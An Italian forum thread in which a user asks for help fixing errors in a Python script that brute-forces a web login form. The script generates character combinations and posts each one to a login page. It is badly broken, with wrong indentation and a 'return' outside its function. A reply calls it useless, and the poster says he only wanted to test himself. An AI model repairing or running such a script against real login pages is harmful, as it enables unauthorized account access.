Domanda aiuto programma bruteforce

Stato
Discussione chiusa ad ulteriori risposte.

iNabbo

Utente Electrum
21 Novembre 2014
260
54
11
160
Perfavore potete aiutarni a risolvere un paio di errori.
un è per l'inserimento delle variabili.
ed uno è per il return.
Codice:
import urllib


username =  input('inserisci lo username: ')


paginaLogin = ('inserisci la pagina di login: ')
messaggioDiAvvenutoLogin = "Login effettuato!"


listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]


def testaPassword(password):
    print ("Testando la password:"), password


parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
p = urllib.urlencode(parametriDaTestare)
paginaDiAction = urllib.urlopen(paginaLogin, p)


risultato = paginaDiAction.read()


if messaggioDiAvvenutoLogin in risultato:
    print ("Password trovata: "), password
    raw_input("Press enter to exit")
else:
    return


for c1 in listaCaratteri:
 psw = c1
testaPassword(psw)
for c2 in listaCaratteri:
 psw = c1+c2
testaPassword(psw)
for c3 in listaCaratteri:
 psw = c1+c2+c3
testaPassword(psw)
for c4 in listaCaratteri:
 psw = c1+c2+c3+c4   # La password da testare sara' composta dai caratteri
                                        # correnti ovvero c1, c2, c3, c4
testaPassword(psw)
for c5 in listaCaratteri:
 psw = c1+c2+c3+c4+c5    # La password da testare sara' composta dai
                                                # caratteri correnti ovvero c1, c2, c3, c4
testaPassword(psw)
for c6 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6
testaPassword(psw)
for c7 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6+c7
testaPassword(psw)
for c8 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6+c7+c8
testaPassword(psw)
for c9 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
testaPassword(psw)
for c10 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
testaPassword(psw)
for c11 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
testaPassword(psw)
for c12 in listaCaratteri:
 psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
testaPassword(psw)
 
Cosa dovresti fare con questo robo?

Dov'è precisamente il tuo problema?

Ps. in quella maniera scordati bruteforce anche sullapagina di login più banale.
 
Cosa dovresti fare con questo robo?

Dov'è precisamente il tuo problema?

Ps. in quella maniera scordati bruteforce anche sullapagina di login più banale.

Non dovrei fare niente volevo solo mettermi alla prova.

Ecco l'errore:

return
^
syntaxerror: 'return' outside function
 
Stato
Discussione chiusa ad ulteriori risposte.